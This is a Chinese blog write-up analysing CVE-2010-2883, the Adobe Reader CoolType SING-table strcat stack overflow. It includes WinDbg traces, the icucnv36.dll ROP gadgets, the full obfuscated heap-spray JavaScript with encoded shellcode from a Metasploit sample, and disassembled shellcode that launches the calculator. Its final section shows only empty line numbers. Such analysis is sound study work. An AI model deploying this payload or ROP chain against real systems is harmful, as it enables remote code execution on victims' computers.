CVE-2010-2883

从备份失败的老博客还原出来的

漏洞概览

本来想通过 poc 样本去定位漏洞地址,后来发现找的样本都无法定位到,感觉是我操作有问题,总是蹦出来异常处理,算了,就用泉哥用的上帝视角模式吧,直接通过漏洞点进行分析。
QQ截图20180708170440.png-65.4kB
漏洞点在0x803ddab 处,在调用 strcat 函数时没有对长度检查,造成溢出,并且有程序上下文可以猜测是在对字体处理时出现了问题。下面会详细分析这个漏洞是如何触发的,在分析之前需要先简单了解下 pdf 文件的结构,可以参考:PDF文件解析与PDF恶代分析中的一些坑

触发条件

我使用的样本是 msf 生成的可以弹出计算机的,原理都一样。先来了解下 TTF 字体的一些信息。
首先是 tOffsetTable 记录了表结构的信息,可以理解为一个总表吧。

1
2
3
4
5
6
7
typedef struct tOffsetTable {
TT_Fixed SFNT_Ver; //sfnt version 0x00010000 for version 1.0.
USHORT numTables; //Number of tables.
USHORT searchRange; //(Maximum power of 2 <= numTables) x 16.
USHORT entrySelector; // Log2(maximum power of 2 <= numTables).
USHORT rangeShift; // NumTables x 16-searchRange.
};

然后是 tTable 结构体,记录了相关表的偏移及大小。实际存储的时候会是一个数组,因为存了很多表,之后就是各个表的具体内容。

1
2
3
4
5
6
7
8
9
typedef struct tTable {
union {
char asChar[4]; // 4 -byte identifier.
ULONG asLong;
} Tag;
ULONG checkSum; // CheckSum for this table.
ULONG offset; // Offset from beginning of TrueType font file.
ULONG length; // Length of this table.
};

可以通过 010editor 的模板功能进行查看,如下(字体数据结构是通过 PdfStreamDumper得到的)
20180708185531.png-27.6kB


SING 的结构如下图:
singtbl.png-111.1kB




下面我们看下实验的样本中 SING 结构的数据
123.png-97.2kB
先来简单分析下漏洞点附近的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push    offset aSing    ; "SING"
push edi ; int
lea ecx, [ebp+108h+var_12C]
call sub_8021B06
mov eax, [ebp+108h+var_12C]
cmp eax, esi
mov byte ptr [ebp+108h+var_10C], 2
jz short loc_803DDC4
mov ecx, [eax]
and ecx, 0FFFFh
jz short loc_803DD9F
cmp ecx, 100h
jnz short loc_803DDC0
add eax, 10h
push eax ; char *
lea eax, [ebp+108h+var_108]
push eax ; char *
mov [ebp+108h+var_108], 0
call strcat

先看第一个函数 sub_8021B06(ecx, edi, str_SING);, 第一个参数是一个对象,但是现在并不能确定这个函数的作用,可以通过 windbg 加断点比较前后数据的变化来猜测。
先看下在函数执行前
QQ截图20180708194913.png-125.5kB
执行函数后再一次进行比较,可以猜到函数的作用是根据存储 TTF 数据的地址找到 SING 表结构的地址。
QQ截图20180708195541.png-139.6kB
所以后面指令的作用基本就得到了,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
push    offset aSing    ; "SING"
push edi ; int
lea ecx, [ebp+108h+var_12C]
call sub_8021B06
mov eax, [ebp+108h+var_12C] ;eax = SING addr
cmp eax, esi
mov byte ptr [ebp+108h+var_10C], 2
jz short loc_803DDC4
mov ecx, [eax] ;version
and ecx, 0FFFFh
jz short loc_803DD9F
cmp ecx, 100h
jnz short loc_803DDC0
add eax, 10h ;SING+0x10 = SING->uniqueName
push eax ; char * ;uniqueName
lea eax, [ebp+108h+var_108] ;stack addr
push eax ; char *
mov [ebp+108h+var_108], 0
call strcat

所以现在漏洞很清晰啦,通过 strcat 函数将 uniqueName 的字符串来连接到栈地址,但是没有检查长度,造成溢出。
eee.png-134.8kB

1
char *strcat(char *dest, const char *src);

虽然只是个栈溢出,但是因为软件过于复杂,并且还存在 GS 保护(虽然后面的利用 GS 没卵用),所以利用起来难度还是很大的,至少对我这个菜鸡是这样,下面我们来看下是如何利用的。

利用技巧

strcat 函数执行前查看帧栈信息,与执行后进行比较
fff.png-179.6kB
可以看到栈上的数据的改动造成了相关帧栈信息的变动,例如 0x0c0c0c0c,可以很自然的想到 heapspray
实际上面代码还有个很无法理解的地方

1
2
3
.text:0803DCF9                 push    ebp
.text:0803DCFA sub esp, 104h
.text:0803DD00 lea ebp, [esp-4]

编译器这样改 ebp 是为了优化??? 不懂
后面的通过栈上的可控变量控制 eip 这一步感觉实在想不出来,感觉可能是通过污点分析对可控数据监控,当遇到能通过 call 调用时记录下来,然后利用的。在 0x0808B308 处的指令可以通过栈上存储的值调用相应地址的指令,通过 windbg 跟踪来看下。
ggg.png-14.4kB
跟踪直到运行到 0808B308 处,整理运行过的指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
0803ddb6 8bcb            mov     ecx,ebx
0803ddb8 e88634fcff call CoolType+0x1243 (08001243)
0803ddbd 8b45dc mov eax,dword ptr [ebp-24h] ss:0023:0012e4b4=046cb078
0803ddc0 c645ef01 mov byte ptr [ebp-11h],1 ss:0023:0012e4c7=00
0803ddc4 3bc6 cmp eax,esi
0803ddc6 c645fc01 mov byte ptr [ebp-4],1 ss:0023:0012e4d4=02
0803ddca 7407 je CoolType+0x3ddd3 (0803ddd3) [br=0]
0803ddcc 50 push eax
0803ddcd e8ed3a0000 call CoolType+0x418bf (080418bf)
0803ddd2 59 pop ecx
0803ddd3 807def00 cmp byte ptr [ebp-11h],0 ss:0023:0012e4c7=01
0803ddd7 0f85cc000000 jne CoolType+0x3dea9 (0803dea9) [br=1]
0803dea9 8d45e4 lea eax,[ebp-1Ch]
0803deac 50 push eax
0803dead 53 push ebx
0803deae 57 push edi
0803deaf e82a8dfdff call CoolType+0x16bde (08016bde)


08016bde 55 push ebp
08016bdf 81ec60060000 sub esp,660h
08016be5 8d6c24fc lea ebp,[esp-4]
08016be9 a1b80f2308 mov eax,dword ptr [CoolType!CTCleanup+0xe26ee (08230fb8)] ds:0023:08230fb8=67fbe93a
08016bee 33c5 xor eax,ebp
08016bf0 898560060000 mov dword ptr [ebp+660h],eax ss:0023:0012e458=0012e4cc
08016bf6 6a50 push 50h
08016bf8 b8325d1708 mov eax,offset CoolType!CTCleanup+0x27468 (08175d32)
08016bfd e8cf150300 call CoolType!CTInit+0x1b2e (080481d1)
08016c02 8b8574060000 mov eax,dword ptr [ebp+674h] ss:0023:0012e46c=0012e4bc
08016c08 8bb570060000 mov esi,dword ptr [ebp+670h] ss:0023:0012e468=0012e608
08016c0e 8bbd6c060000 mov edi,dword ptr [ebp+66Ch] ss:0023:0012e464=0012e718
08016c14 8945a8 mov dword ptr [ebp-58h],eax ss:0023:0012dda0=ffeb0000
08016c17 b850a62308 mov eax,offset CoolType!CTCleanup+0xebd86 (0823a650)
08016c1c 50 push eax
08016c1d 8975e4 mov dword ptr [ebp-1Ch],esi ss:0023:0012dddc=1200b8e7
08016c20 8945a4 mov dword ptr [ebp-5Ch],eax ss:0023:0012dd9c=00000001
08016c23 ff1530f11808 call dword ptr [CoolType!CTCleanup+0x40866 (0818f130)] ds:0023:0818f130={ntdll!RtlEnterCriticalSection (7c921000)}
08016c29 33db xor ebx,ebx
08016c2b 57 push edi
08016c2c 895dfc mov dword ptr [ebp-4],ebx ss:0023:0012ddf4=ffffffff
08016c2f 895dd0 mov dword ptr [ebp-30h],ebx ss:0023:0012ddc8=1200b8e7
08016c32 895dec mov dword ptr [ebp-14h],ebx ss:0023:0012dde4=81234378
08016c35 e8e24e0000 call CoolType+0x1bb1c (0801bb1c)
08016c3a 3bc3 cmp eax,ebx
08016c3c 59 pop ecx
08016c3d 8945e8 mov dword ptr [ebp-18h],eax ss:0023:0012dde0=8d235d88
08016c40 0f8488060000 je CoolType+0x172ce (080172ce) [br=0]
08016c46 6a01 push 1
08016c48 53 push ebx
08016c49 53 push ebx
08016c4a 8d45ec lea eax,[ebp-14h]
08016c4d 50 push eax
08016c4e 8d45d0 lea eax,[ebp-30h]
08016c51 50 push eax
08016c52 57 push edi
08016c53 ff75e8 push dword ptr [ebp-18h] ss:0023:0012dde0=01efc87c
08016c56 e8c64e0000 call CoolType+0x1bb21 (0801bb21)


0801bb21 55 push ebp
0801bb22 8bec mov ebp,esp
0801bb24 ff7520 push dword ptr [ebp+20h] ss:0023:0012dd88=00000001
0801bb27 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:0012dd70=01efc87c
0801bb2a ff751c push dword ptr [ebp+1Ch] ss:0023:0012dd84=00000000
0801bb2d 8b01 mov eax,dword ptr [ecx] ds:0023:01efc87c=081a601c
0801bb2f ff7518 push dword ptr [ebp+18h] ss:0023:0012dd80=00000000
0801bb32 ff05a0a62308 inc dword ptr [CoolType!CTCleanup+0xebdd6 (0823a6a0)] ds:0023:0823a6a0=00000000
0801bb38 ff7514 push dword ptr [ebp+14h] ss:0023:0012dd7c=0012dde4
0801bb3b ff7510 push dword ptr [ebp+10h] ss:0023:0012dd78=0012ddc8
0801bb3e ff750c push dword ptr [ebp+0Ch] ss:0023:0012dd74=0012e718
0801bb41 ff10 call dword ptr [eax] ds:0023:081a601c=0808b116


0808b116 55 push ebp
0808b117 8bec mov ebp,esp
0808b119 51 push ecx
0808b11a 53 push ebx
0808b11b 56 push esi
0808b11c 57 push edi
0808b11d 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0012dd50=0012e718
0808b120 57 push edi
0808b121 8bf1 mov esi,ecx
0808b123 e802ffffff call CoolType!CTInit+0x44987 (0808b02a)
0808b128 33db xor ebx,ebx
0808b12a 84c0 test al,al
0808b12c 0f8499010000 je CoolType!CTInit+0x44c28 (0808b2cb) [br=0]
0808b132 385d1c cmp byte ptr [ebp+1Ch],bl ss:0023:0012dd64=01
0808b135 0f8590010000 jne CoolType!CTInit+0x44c28 (0808b2cb) [br=1]
0808b2cb 8b06 mov eax,dword ptr [esi] ds:0023:01efc87c=081a601c
0808b2cd 885d1f mov byte ptr [ebp+1Fh],bl ss:0023:0012dd67=00
0808b2d0 ff5070 call dword ptr [eax+70h] ds:0023:081a608c=08089937
0808b2d3 57 push edi
0808b2d4 8d4e14 lea ecx,[esi+14h]
0808b2d7 e86432f9ff call CoolType+0x1e540 (0801e540)
0808b2dc c686e000000001 mov byte ptr [esi+0E0h],1 ds:0023:01efc95c=00
0808b2e3 8b473c mov eax,dword ptr [edi+3Ch] ds:0023:0012e754=0012e6d0
0808b2e6 3bc3 cmp eax,ebx
0808b2e8 8986f4020000 mov dword ptr [esi+2F4h],eax ds:0023:01efcb70=0012e6d0
0808b2ee 899ef8020000 mov dword ptr [esi+2F8h],ebx ds:0023:01efcb74=00000000
0808b2f4 895dfc mov dword ptr [ebp-4],ebx ss:0023:0012dd44=01efc87c
0808b2f7 7507 jne CoolType!CTInit+0x44c5d (0808b300) [br=1]
0808b300 8d4dfc lea ecx,[ebp-4]
0808b303 51 push ecx
0808b304 53 push ebx
0808b305 6a03 push 3
0808b307 50 push eax
0808b308 ff10 call dword ptr [eax] ds:0023:0012e6d0=4a80cb38

下面来看下 call dword ptr [eax] 会执行什么指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0:000> r eax 
eax=0012e6d0
0:000> dd 0012e6d0 L1
0012e6d0 4a80cb38
0:000> !address 4a80cb38
*************************************************************************
Usage: Image
Allocation Base: 4a800000
Base Address: 4a801000
End Address: 4a849000
Region Size: 00048000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
More info: lmv m icucnv36
More info: !lmi icucnv36
More info: ln 0x4a80cb38
0:000> u 4a80cb38
icucnv36!ucnv_toUChars_3_6+0x162:
4a80cb38 81c594070000 add ebp,794h
4a80cb3e c9 leave
4a80cb3f c3 ret

所以 icucnv36!ucnv_toUChars_3_6+0x162 处的 gadget 的作用就很明显了, stack pivot。单步执行看下下一个 gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0:000> r ebp
ebp=0012dd48
0:000> dd ebp
0012dd48 0012dd68 0801bb43 0012e718 0012ddc8
0012dd58 0012dde4 00000000 00000000 00000001
0012dd68 0012ddf8 08016c5b 01efc87c 0012e718
0012dd78 0012ddc8 0012dde4 00000000 00000000
0012dd88 00000001 67e934c2 0012e718 00000000
0012dd98 0012e608 0823a650 0012e4bc ff270000
0012dda8 00000003 1200ccdd 81234378 1200b8e7
0012ddb8 120058e8 1200b8e7 8d235d88 120034de
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a80cb3e esp=0012dd24 ebp=0012e4dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x168:
4a80cb3e c9 leave
0:000> dd ebp
0012e4dc f012512c 4a82a714 0c0c0c0c 47dabcf2
0012e4ec 5c064f94 5c53850a 57ef3bba e910375e
0012e4fc ef4039c2 f0e3b6aa 61a8c5b4 c2474a7a
0012e50c 15da11a6 436a7060 1d9d4505 1c1f88da
0012e51c 249ca0df e4d40d46 269a3dfc daed6b97
0012e52c c920c5fc 2d4265c3 cb1f5a53 5a0c27e0
0012e53c 69fd2e39 6d70eb0d b877a4e9 db9a8a4d
0012e54c 883c0409 f6fa0ea5 6634d433 e7f0ef0d
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a80cb3f esp=0012e4e0 ebp=f012512c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!ucnv_toUChars_3_6+0x169:
4a80cb3f c3 ret
0:000> p
eax=0012e6d0 ebx=00000000 ecx=0012dd44 edx=00000000 esi=01efc87c edi=0012e718
eip=4a82a714 esp=0012e4e4 ebp=f012512c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
0:000> dd esp L1
0012e4e4 0c0c0c0c
0:000> u 4a82a714
icucnv36!icu_3_6::CharacterIterator::setToStart+0x8:
4a82a714 5c pop esp
4a82a715 c3 ret

通过两个 gadget 控制 eip 到了 [0x0c0c0c0c],剩下就是堆喷射啦。
如果用图来表示这个过程的话,大概是下面这样吧。
ffss.png-27.1kB
emmmmmm 现在已经控制 eip = [0x0c0c0c0c] 啦,剩下的就好多了, 堆喷射完成 shellcode 的布局,然后就是使 eip 滑入放置好的 shllcode 啦,堆喷射的代码可以通过 PdfStreamDumper 得到。

1
2
3
4
5
6
7
8
9
10
11
12
13

var mqraPQZSAwAwCczJcaACUcIIwCnLbss = unescape;
var twSOePGGglyJWdlzCpRIHpSsaEoDFZmatVqAcDoCSkrLKdpcOIBqGOVtWQMSEAGMpVRA = mqraPQZSAwAwCczJcaACUcIIwCnLbss( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u64b8%u9c0f%uda97%ud9cc%u2474%u5ef4%uc929%u31b1%uc683%u3104%u0f46%u4603%ued6b%u6b69%u739b%u9491%u145b%u711b%u146a%uf17f%ua4dc%u570b%u4fd0%u4c59%u3d63%u6376%u88c4%u4aa0%ua1d5%ucd91%ub855%u2dc5%u7364%u2f18%u6ea1%u7dd1%ue47a%u9244%ub00f%u1954%u5443%ufedd%u5713%u50cc%u0e28%u53ce%u3afd%u4c47%u07e2%ue711%ufcd0%u21a0%ufc29%u0c0f%u0f86%u4851%uf020%ua024%u8d53%u773e%u492e%u6cca%u1a88%u496c%uce29%u1aeb%ubb25%u4478%u3a29%ufeac%ub755%ud153%u83dc%uf577%u5085%uac19%u3663%uae26%ue7cc%ua482%ufce0%ue6be%u026e%u9d4c%u04dc%u9e4e%u6d70%u157f%uea1f%ufc80%u0464%u5dcb%u8dcc%u3792%ud04d%ue224%ued91%u07a6%u0a69%u6db6%u566c%u9d70%uc71c%ua115%ue8b3%uc23f%u7b52%u2ba3%ufbf1%u3446' );
var NrWJJGMFyDgCbq = mqraPQZSAwAwCczJcaACUcIIwCnLbss( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (NrWJJGMFyDgCbq.length + 20 + 8 < 65536) NrWJJGMFyDgCbq+=NrWJJGMFyDgCbq;
BuWToJIZTn = NrWJJGMFyDgCbq.substring(0, (0x0c0c-0x24)/2);
BuWToJIZTn += twSOePGGglyJWdlzCpRIHpSsaEoDFZmatVqAcDoCSkrLKdpcOIBqGOVtWQMSEAGMpVRA;
BuWToJIZTn += NrWJJGMFyDgCbq;
wrIFk = BuWToJIZTn.substring(0, 65536/2);
while(wrIFk.length < 0x80000) wrIFk += wrIFk;
TjCv = wrIFk.substring(0, 0x80000 - (0x1020-0x08) / 2);
var erZHzdqUNRLxpgKzIZXauOqtrPeTBcQpgRKVLwLA = new Array();
for (wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj=0;wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj<0x1f0;wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj++) erZHzdqUNRLxpgKzIZXauOqtrPeTBcQpgRKVLwLA[wABhQLfeICwQWoJJAlzOKIJXBheCXUwFoFqgj]=TjCv+"s";

上面的 shellcode 是能还原出来的,不过为了熟悉下调试还是用 windbg吧。

1
2
3
4
5
6
7
8
9
0:000> dd 0c0c0c0c L20
0c0c0c0c 4a8063a5 4a8a0000 4a802196 4a801f90
0c0c0c1c 4a84903c 4a80b692 4a801064 4a8522c8
0c0c0c2c 10000000 00000000 00000000 00000002
0c0c0c3c 00000102 00000000 4a8063a5 4a801064
0c0c0c4c 4a842db2 4a802ab1 00000008 4a80a8a6
0c0c0c5c 4a801f90 4a849038 4a80b692 4a801064
0c0c0c6c ffffffff 00000000 00000040 00000000
0c0c0c7c 00010000 00000000 4a8063a5 4a801064

我们先来看下堆中这些数据的内容

1
2
3
4
0:000> u 4a8063a5 
icucnv36!uenum_count_3_6+0x1d:
4a8063a5 59 pop ecx
4a8063a6 c3 ret

执行完成后 ecx = 0x4a8a0000,再来看下 0x4a802196

1
2
3
4
0:000> u 4a802196
icucnv36!ubidi_getClassCallback_3_6+0x22:
4a802196 8901 mov dword ptr [ecx],eax
4a802198 c3 ret

执行完后 [0x4a8a0000] = 0x0012e6d0,之后跳到了 0x4a801f90

1
2
3
4
0:000> u 4a801f90
icucnv36!ubidi_getDirection_3_6+0x18:
4a801f90 58 pop eax
4a801f91 c3 ret

最后 eax =4a84903c,跳到了 0x4a80b692

1
2
3
0:000> u 4a80b692
icucnv36!u_errorName_3_6+0xdf:
4a80b692 ff20 jmp dword ptr [eax]

0x4a84903c 实际上是 icucnv36.dll 里函数CreateFileA 在导入表中的地址,所以这样就完成了对CreateFileA函数的调用。
函数参数如下

1
2
3
4
5
0:000> dd 0c0c0c28 L7
0c0c0c28 4a8522c8 10000000 00000000 00000000
0c0c0c38 00000002 00000102 00000000
0:000> da 4a8522c8
4a8522c8 "iso88591"

CreateFileA(0x4a8522c8,GENERIC_ALL,0,NULL,CREATE_ALWAYS,HIDDEN|TEMPORARY,NULL)
之后通过 0x4a801064 处的 ret 指令重新反回到了icucnv36.dll

1
2
3
4
5
eax=00000328 ebx=00000000 ecx=7c93003d edx=04c30002 esi=01efc87c edi=0012e718
eip=4a801064 esp=0c0c0c44 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36+0x1064:
4a801064 c3 ret

然后看下如何再一次控制 eip 去完成我们想做的事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:000> 
eax=00000328 ebx=00000000 ecx=7c93003d edx=04c30002 esi=01efc87c edi=0012e718
eip=4a8063a5 esp=0c0c0c48 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!uenum_count_3_6+0x1d:
4a8063a5 59 pop ecx
0:000> p
eax=00000328 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=0012e718
eip=4a8063a6 esp=0c0c0c4c ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!uenum_count_3_6+0x1e:
4a8063a6 c3 ret
0:000>
eax=00000328 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=0012e718
eip=4a842db2 esp=0c0c0c50 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!u_strFromUTF32_3_6+0x142:
4a842db2 97 xchg eax,edi
0:000> p
eax=0012e718 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=00000328
eip=4a842db3 esp=0c0c0c50 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!u_strFromUTF32_3_6+0x143:
4a842db3 c3 ret
0:000> p
eax=0012e718 ebx=00000000 ecx=4a801064 edx=04c30002 esi=01efc87c edi=00000328
eip=4a802ab1 esp=0c0c0c54 ebp=f012512c iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200293
icucnv36!ubidi_getDummy_3_6+0xc7:
4a802ab1 5b pop ebx

实际上下面要执行的 gadget 的作用是重新控制 eip ,和之前的call dword ptr [eax] 是类似的,使用的 gadget 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
icucnv36!ubidi_getDummy_3_6+0xc7:
4a802ab1 5b pop ebx
4a802ab2 c3 ret


icucnv36!uprv_pathIsAbsolute_3_6+0xd:
4a80a8a6 213c5c and dword ptr [esp+ebx*2],edi ss:0023:0c0c0c6c=ffffffff
4a80a8a9 7503 jne icucnv36!uprv_pathIsAbsolute_3_6+0x15 (4a80a8ae) [br=1]
4a80a8ae 3c2f cmp al,2Fh
4a80a8b0 74f9 je icucnv36!uprv_pathIsAbsolute_3_6+0x12 (4a80a8ab) [br=0]
4a80a8b2 3c41 cmp al,41h
4a80a8b4 7c04 jl icucnv36!uprv_pathIsAbsolute_3_6+0x21 (4a80a8ba) [br=1]
4a80a8ba 3c61 cmp al,61h
4a80a8bc 7c0a jl icucnv36!uprv_pathIsAbsolute_3_6+0x2f (4a80a8c8) [br=1]
4a80a8c8 32c0 xor al,al
4a80a8ca c3 ret

icucnv36!ubidi_getDirection_3_6+0x18:
4a801f90 58 pop eax
4a801f91 c3 ret

icucnv36!u_errorName_3_6+0xdf:
4a80b692 ff20 jmp dword ptr [eax] ds:0023:4a849038={kernel32!CreateFileMappingA (7c8094ee)}

可以看到这次调用了 CreateFileMappingA 函数,之后用相同的方法执行 MapViewOfFile 函数完成一段可执行内存空间的开辟。之后调用 memcpy 函数完成堆上 shellcode 的复制。查看 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
029e0000 b8640f9c97      mov     eax,979C0F64h
029e0005 dacc fcmove st,st(4)
029e0007 d97424f4 fnstenv [esp-0Ch]
029e000b 5e pop esi
029e000c 29c9 sub ecx,ecx
029e000e b131 mov cl,31h
029e0010 83c604 add esi,4
029e0013 31460f xor dword ptr [esi+0Fh],eax
029e0016 03460f add eax,dword ptr [esi+0Fh]
029e0019 e2f5 loop 029e0010
029e001b fc cld
029e001c e882000000 call 029e00a3
029e0021 60 pushad
029e0022 89e5 mov ebp,esp
029e0024 31c0 xor eax,eax
029e0026 648b5030 mov edx,dword ptr fs:[eax+30h]
029e002a 8b520c mov edx,dword ptr [edx+0Ch]
029e002d 8b5214 mov edx,dword ptr [edx+14h]
029e0030 8b7228 mov esi,dword ptr [edx+28h]
029e0033 0fb74a26 movzx ecx,word ptr [edx+26h]
029e0037 31ff xor edi,edi
029e0039 ac lods byte ptr [esi]
029e003a 3c61 cmp al,61h
029e003c 7c02 jl 029e0040
029e003e 2c20 sub al,20h
029e0040 c1cf0d ror edi,0Dh
029e0043 01c7 add edi,eax
029e0045 e2f2 loop 029e0039
029e0047 52 push edx
029e0048 57 push edi
029e0049 8b5210 mov edx,dword ptr [edx+10h]
029e004c 8b4a3c mov ecx,dword ptr [edx+3Ch]
029e004f 8b4c1178 mov ecx,dword ptr [ecx+edx+78h]
029e0053 e348 jecxz 029e009d
029e0055 01d1 add ecx,edx
029e0057 51 push ecx
029e0058 8b5920 mov ebx,dword ptr [ecx+20h]
029e005b 01d3 add ebx,edx
029e005d 8b4918 mov ecx,dword ptr [ecx+18h]
029e0060 e33a jecxz 029e009c
029e0062 49 dec ecx
029e0063 8b348b mov esi,dword ptr [ebx+ecx*4]
029e0066 01d6 add esi,edx
029e0068 31ff xor edi,edi
029e006a ac lods byte ptr [esi]
029e006b c1cf0d ror edi,0Dh
029e006e 01c7 add edi,eax
029e0070 38e0 cmp al,ah
029e0072 75f6 jne 029e006a
029e0074 037df8 add edi,dword ptr [ebp-8]
029e0077 3b7d24 cmp edi,dword ptr [ebp+24h]
029e007a 75e4 jne 029e0060
029e007c 58 pop eax
029e007d 8b5824 mov ebx,dword ptr [eax+24h]
029e0080 01d3 add ebx,edx
029e0082 668b0c4b mov cx,word ptr [ebx+ecx*2]
029e0086 8b581c mov ebx,dword ptr [eax+1Ch]
029e0089 01d3 add ebx,edx
029e008b 8b048b mov eax,dword ptr [ebx+ecx*4]
029e008e 01d0 add eax,edx
029e0090 89442424 mov dword ptr [esp+24h],eax
029e0094 5b pop ebx
029e0095 5b pop ebx
029e0096 61 popad
029e0097 59 pop ecx
029e0098 5a pop edx
029e0099 51 push ecx
029e009a ffe0 jmp eax
029e009c 5f pop edi
029e009d 5f pop edi
029e009e 5a pop edx
029e009f 8b12 mov edx,dword ptr [edx]
029e00a1 eb8d jmp 029e0030
029e00a3 5d pop ebp
029e00a4 6a01 push 1
029e00a6 8d85b2000000 lea eax,[ebp+0B2h]
029e00ac 50 push eax
029e00ad 68318b6f87 push 876F8B31h
029e00b2 ffd5 call ebp
029e00b4 bbf0b5a256 mov ebx,56A2B5F0h
029e00b9 68a695bd9d push 9DBD95A6h
029e00be ffd5 call ebp
029e00c0 3c06 cmp al,6
029e00c2 7c0a jl 029e00ce
029e00c4 80fbe0 cmp bl,0E0h
029e00c7 7505 jne 029e00ce
029e00c9 bb4713726f mov ebx,6F721347h
029e00ce 6a00 push 0
029e00d0 53 push ebx
029e00d1 ffd5 call ebp
029e00d3 63616c arpl word ptr [ecx+6Ch],sp
029e00d6 632e arpl word ptr [esi],bp
029e00d8 657865 js 029e0140
029e00db 000c0c add byte ptr [esp+ecx],cl

一个被变形过的 shellcode,很难看出来功能,在kernel32!WinExec处下断点可以发现功能是弹出计算器。可能是我太菜了,算了,就这样吧。

exploit分析

先贴一下主要的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
